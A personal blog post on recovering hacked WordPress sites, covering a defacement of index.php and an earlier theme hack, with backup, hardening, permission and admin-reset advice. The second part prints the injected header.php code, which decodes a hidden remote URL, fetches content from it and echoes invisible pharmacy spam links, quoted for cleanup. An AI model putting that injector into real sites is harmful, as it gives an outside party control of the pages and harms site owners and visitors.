"From Kurdistan With Love" or Some Things To Do Before And/Or After Your WordPress Site Gets Hacked

"Hopefully, because he's busy." – Commissioner Gordon, The Dark Knight

On the plus side, www.somewhereville.com received its first update in just over 5 months. On the minus side, the new post was less than useful in many ways. I received a timely email from Dr. Obi Griffith of the Washington University in St. Louis Division of Oncology noting that my entire site was differently-down (thanks to the hijacking of my Sanger (And Illumina 1.3+ (And Solexa)) Phred Score (Q) ASCII Glyph Base Error Conversion Tables page that he linked to on a biostars site thread – so my thanks to Obi for catching something I likely would have gone weeks without noticing!).

The snapshot below shows the state of swv as of 3 December 2014. On the bright side (minus a friendly conspiracy to get someone else in trouble), I can say with some certainty that Serwan performed the content-ectomy (twitter: @S3RW4N, current email (although I suspect it won't last long): serwan_007 – at cymbal – hotmail.com, on the Facebook, etc. All sites subject to change as people try to track him/her down post-attack (he/she's been prolific if nothing else)).


Exhibit A. Flag is waving in the actual version.

Several problems. To begin, it's a gaudy hack, complete with rolling text and techno music. Second, the Television New Zealand (TVNZ) news service thought this hack to be significant enough to warrant actual coverage on their website when a similar file-swap on a WordPress (or WordPress-esque) site brought down the Health and Sports Fitness Club in Sandringham (syracuse.com didn't give me the time of day). I commend this Kurdish hacker group for their ratings. Third, the manner in which files were replaced in the blog (specifically meaning the index.php file) blocked every other post on the site from being accessed, so every link anyone had posted to a page anywhere else on the Internets was made useless.

That said, I appreciate that Serwan generally performs fairly benign attacks on websites. File replacements were clearly identified from a simple date sorting, the important MySQL database content wasn't touched, and Serwan even went as far as to set up a second Admin account so that I could quickly retake control of the site.

So, in light of the plight of the Kurdish people, I left the hacked version up for a few hours as I pondered what to do, which I discuss below.

My Spotty Procedure For Recovery:

What follows is a list of obvious and less obvious things to consider when recovering your WordPress blog from a hack. There are plenty of websites that show how to protect your site in the first place, then others that explain how to revive it (provided you do your own due diligence and back your site up regularly enough). What's below is not complete, but you can rest assured that google is your friend in such matters, so keep your keywords targeted and see what comes up.

General Considerations:

1. Don't use your blog. My last post at the time dated back to June 25th, during which time I've made several full backups (and kept WordPress up-to-date, the last time being 7 November 2013) of my entire site. In this respect, I was well set up to quickly recover from a hacking incident.

2. Keep a copy of your current running version of WordPress handy for file replacements. In my case, index.php was written over. All I had to do to recover was uncompress my WordPress  3.7.1 download, upload index.php to my server, and the site was back and running.

3. Have you backed up lately? This phrase has been in the .sig of my emails for many, many years. If your entire life is lived in the Googleverse (email, images, documents, etc.), then you're fine until the Earth's magnetic poles shift and wipe all the hard drives out (just kidding. I think). If you're a computational scientist and have TBs of data, it's up to you to make sure you have access to it all again. Same applies to WordPress. I've a biweekly alarm that tells me to back up several websites and I've an encrypted .txt file with all of the login info and steps needed to perform this backup. You should absolutely be doing the same if you're not.

4. Set up an additional Administrator. In my case, my admin account was hacked to change the associated user email address to Serwan's email. Obviously, attempting to log in, change the password, or what have you simply sent little pings of your futile attempts to the hacker. Having that second admin account will allow you to reroute your login efforts (and if they're both hacked into, there's still a way around. Will get to below).

5. Make a real password. At the risk of de-securing my sites by providing personal info, my typical password looks something like this:


20 characters long, upper and lower, numbers, and non-alphanumeric characters. If you care about your site security, stay the hell away from the dictionary.

6. Dry-run your SHTF moment. Are you a survivalist? Can you identify edible berries by sight, build a lean-to, or stitch an open wound? Or are you the Marty Stouffer of the camping section at Target? If you've never had to work your way back from a complete disaster, you likely won't know how to do it either quickly, efficiently, or securely.

Ergo, do another WordPress installation in a sub-folder of your main installation, create a new database, make your site pretty, perform a full backup of your database and uploaded media, then break it, either by deleting core files or corrupting your database (deleting a table would do the trick). If you can put the site back together again (the uploading of the database back onto your server likely being the worst part of the whole process), you're likely in good shape for the real deal.

7. Harden WordPress. The good people at WordPress even tell you how to (although, admittedly, I thought I did all of this, so maybe there's something being missed that will go into a future iteration of this page).

8. Get rid of "admin." Several of the sites discussing WordPress hacks report that having this default account (or account default'ed) is a top-5 problem when trying to keep people out of your site. So get rid of it. Easily. Set up a new account, give it administrative privileges, then delete the admin account, which will ask you to attribute the current admin posts to another admin account.

9. Delete deactivated plugins if you're not going to use them. Plugins are developed by people. People often have lives that keep them from timely updates of security exploits. If you're using a plugin, that's one thing. If a deactivated plugin languishes in your plugins folder, never gets updated, and some hacker writes something specifically to exploit a security flaw in that old, poorly maintained plugin, that's all on you. So don't risk your pocket knife being a projectile as you walk into the MRI room and get rid of the knife before it comes a problem.

10. I know nothing about it yet, but am giving Wordfence a whirl presently.

11. Hey, check your blog every once in a while to make sure it's still you and not Serwan.

For The Specific Attack (From Easy To Harder):

1. FTP in and check file dates. The offending .php files (index.php and a hello.php containing the techno) were both dated 3 December 2013. Everything else was, at its newest, 7 November 2013 (from my last WordPress update). This made finding the hacked and previously not-present files easy. A cluster of important files with identically modification times and dates is an easy giveaway.

2. FTP in and check ALL the file dates. One never knows when something else is going to be placed into a themes folder, plugin folder, etc., to keep track of site access (that's why I delete all deactivated plugins). So, sort by date and scour the whole site for modifications and new files.

3. If you make it into your site, go right to your User Settings, change the email address, then change your password.

4. Check out something like Sucuri SiteCheck. Hopefully, this search will complement your initial search as well as test against known threats. I ran a Sucuri on a similarly-hacked site (in this case, indoorstinkbugtrap.com) and received the following notification of defacement (so the check worked).


securi.net results for fellow victim indoorstinkbugtrap.com.

5. If you can't make it in the front door, crawl through the plumbing. You can change your admin account from within MySQL using, for instance, phpMyAdmin (check your hosting provider for details if this is new information to you). In the case of phpMyAdmin, you can modify the admin account in six easy steps.

1. Log in to phpMyAdmin

2. Click on the Structure Button in wp_users (red circle)


3. Click on Browse (told you this was easy)


4. Click the edit button for your administrative account (red circle)


5. Change the email address back to your email and delete the current password.


6. Save and go back to our WordPress site, then request a new password.

And, While We're At It:

Serwan's twitter image currently features a white hat (the Gandalf-ian sign of a good guy/gal hacker) and a long list of sites that have been defaced with otherwise useless, feral medadata promoting Kurdish Hackers for google to get confused by. A search for somewhereville.com in google left the following bad taste in its results page for a week after:

Hacked By Serwan. Allah Is Greatest. Long Live Kurdistan. Thanks To All Kurdish Hackers. Follow @S3RW4N FB.com/Mr.S995

If I may be so bold (and I've told Serwan the same), the Kurdish people had a long history of getting steamrolled by an oppressive regime that, regretfully, first-world countries didn't put enough into stopping or acknowledging until the tanks rolled South into Kuwait. If you're gong to label yourself an ethical hacker, fine. Mangle the front-end of someone's WordPress site. That said, you could be educating others on the Kurdish people by including a few links into your hack. I live in America, where certain news services use "Muslim" and "Islam" in headlines purely for shock value when they want to appeal to an audience so narrow-minded that their hearing is susceptible to the Casimir Effect. I recommend adding the wikipedia article on Kurdistan and the Al-Anfal Campaign to future hacks (and I'm sure Serwan could find more) to provide a little substance to your efforts unless, of course, your goal is just to be a stupid-ass script-kiddie hacker.

If you're gonna hack, at least try to be productive. Meantime, this was a valuable lesson for myself on what to do to try to keep WordPress from falling into the same limbo during a time when I might not have had an hour to fix it.

When Hackers And Their Little Scripts Attack WordPress Themes, Or Dr. D-Allis Talking To You About The Hidden Dangers Of Cialis (Links)

In the slightly Web 2.0-modified sentiments of the master, George Carlin,

"Our thrust is to prick holes in the stiff front erected by the smut hackers. We must keep mounting an offensive to penetrate any crack in their defenses, so we can lay to rest their dominate position. We want them hung and we want stiff action. Let's get on them. Let's ram through a stiff permission change so it'll be hard for them to get their hacks up. WordPress'ers have got to come together so we can whip this thing into submission. It'll be hard on us but we can't lick it by being soft."

There are many, many, many, many, many informative pages on WordPress hacks and their potentially long and involved fixes.  The contents of this post address one specific hack that happened recently to my own site, how to fix the hacked php file, and the steps to take to keep the hack from occurring again.  As usual, I provide as much of the text as I can in this post so that your google search for a particular phrase or snippet of php will land your here, as it well may have.  Speaking of google…

The presence of these hidden links on your website may cause hypertension, eye fatigue, chronic stress (if you don't know how to remove them), and, when present for long durations, will result in a form email from google telling you that your site has been banned from google listings.  Something like the following (in crimson for emphasis):

Dear site owner or webmaster of somewhereville.com,

While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.

The following is some example hidden text we found at https://somewhereville.com/:


In order to preserve the quality of our search engine, pages from somewhereville.com are scheduled to be removed temporarily from our search results for at least 30 days.

We would prefer to keep your pages in Google's index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.

Sincerely, Google Search Quality Team

Note: if you have an account in Google's Webmaster Tools, you can verify the authenticity of this message by logging into https://www.google.com/webmasters/tools/siteoverview?hl=en and going to the Message Center.

With my luck, the contents below will somehow get me banned again, in which case I'll just make one big screen capture and post the image in a new entry.

I had received the above email some time ago from a previous hack that I had corrected in a previous version of WordPress (somewhere in the 2.3.x range).  Within the last week or so, I received an email from friend and fellow nanotechnologist Tom Moore over at machine-phase.blogspot.com with the following picture:

The one week I lay off the egosurfing…  Needless to say, my suspicions of a hack were aroused and, er, little else.  The same form of hack as my previous 2.3.x adventure, but this is in WordPress 2.7.1 and I had properly set folder and file permissions on the server hosting this blog.  Well, almost properly set permissions…

This most recent attack occurred to a php file in my theme, a modified version of Relaxation 3 Column that is, sadly, no longer in development (hence the modifications).  The problem is theme-non-specific, as much of the core theme file structure is similar across all WordPress themes and a properly written script need only search out contents (or file names) common to all themes.

The specific modification occurred to my header.php file, which contained the following new and highly exciting content (to show the HTML, I've inserted a space around each bracket):

< div id="page" >
< div id="top" >< a href="/index.php" >< img title="home" src="<?php bloginfo('template_directory'); ?>/images/blank.gif" alt="home" width="1100" height="150" / >< /a >< /div >

< div id="wrapper" >< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

Original to the theme:

< div id="page" >
< div id="top" >< a href="/index.php" >< img title="home" src="<?php bloginfo('template_directory'); ?>/images/blank.gif" alt="home" width="1100" height="150" / >< /a >< /div >
div id="wrapper" >

Hacked addition:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

And, of course, what you see for the link list depends on what the script generates at load time.  The pictures show cialis links (isn't it nice to see a link on a blog that sends you to the manufacturer instead of some back-of-the-server distributor?), but a Firefox Page Source view loads the following viagra-centric HTML after a page reload:

< body >
< div id="page" >
< div id="top" >< a href="/index.php" >< img src="https://www.somewhereville.com/wp-content/themes/relaxation_3column/images/blank.gif" alt="home" title="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >
< div id='header_code' >< font style="position:absolute;overflow:hidden;height:0;width:0" >< a href="http://river.mit.edu/index.php?viagra=0" >Best Viagra Alternative< /a >< a href="http://river.mit.edu/index.php?viagra=1" > Best Viagra < /a > …2 to 806 of similar… < a href="http://river.mit.edu/index.php?viagra=807" > 50 Mg Viagra < /a >< /font >< /div >

< div id="content" >

The problem, and this is the important part, is that the permissions on the php files for this theme were set wide open so that anyone could read, write, and execute the theme files.  After making the proper changes to the (in this case) header.php file in my ../wp-content/themes/[your theme name here] directory to remove the h4ck0r content (and, in theory, you will see the same text if you have a similar hack to your theme/header.php file), the next step is to change the permissions on these files via whatever "Attributes" window your FTP client provides (or whatever your FTP/Telnet/SSH program of choice is).  In my case, I've been using Robert Vasvari's phenomenal RBrowser for OSX for quite some time.  For this program, you would click on the theme directory of choice, then right-click and select "Change Attributes."  You'll be brought to a screen like the following:

Now, permission setting is a minor trick depending on what you have in the directories that need to be read or executed for a page or plug-in to properly load.  The 755 provides only the User (that should be you) with write access to files (and the "Apply to files inside selection" check will change everything in the folder).  For simple themes, you can very probably get away with 644, which provides all with read access and the user read and write access.  Frankly, I don't even know if there's a theme-based reason for execute to be enabled (anyone willing to correct me is more than welcome to).

Make the changes (in a text editor if you didn't know this already, then FTP the corrected file(s) up and down), change permissions, and with luck and a few days wait, your google search will return something like the following and decidedly not like the image above:

Needless to say, if you've never scoured a php file and don't know what to remove, your safest bet is just to blindly delete the theme, upload a fresh version, then change permissions.  And, if you made modifications to the php files, KEEP TRACK OF THE CHANGES.  And, of course, you should be backing up your database and website anyway in case the big one hits.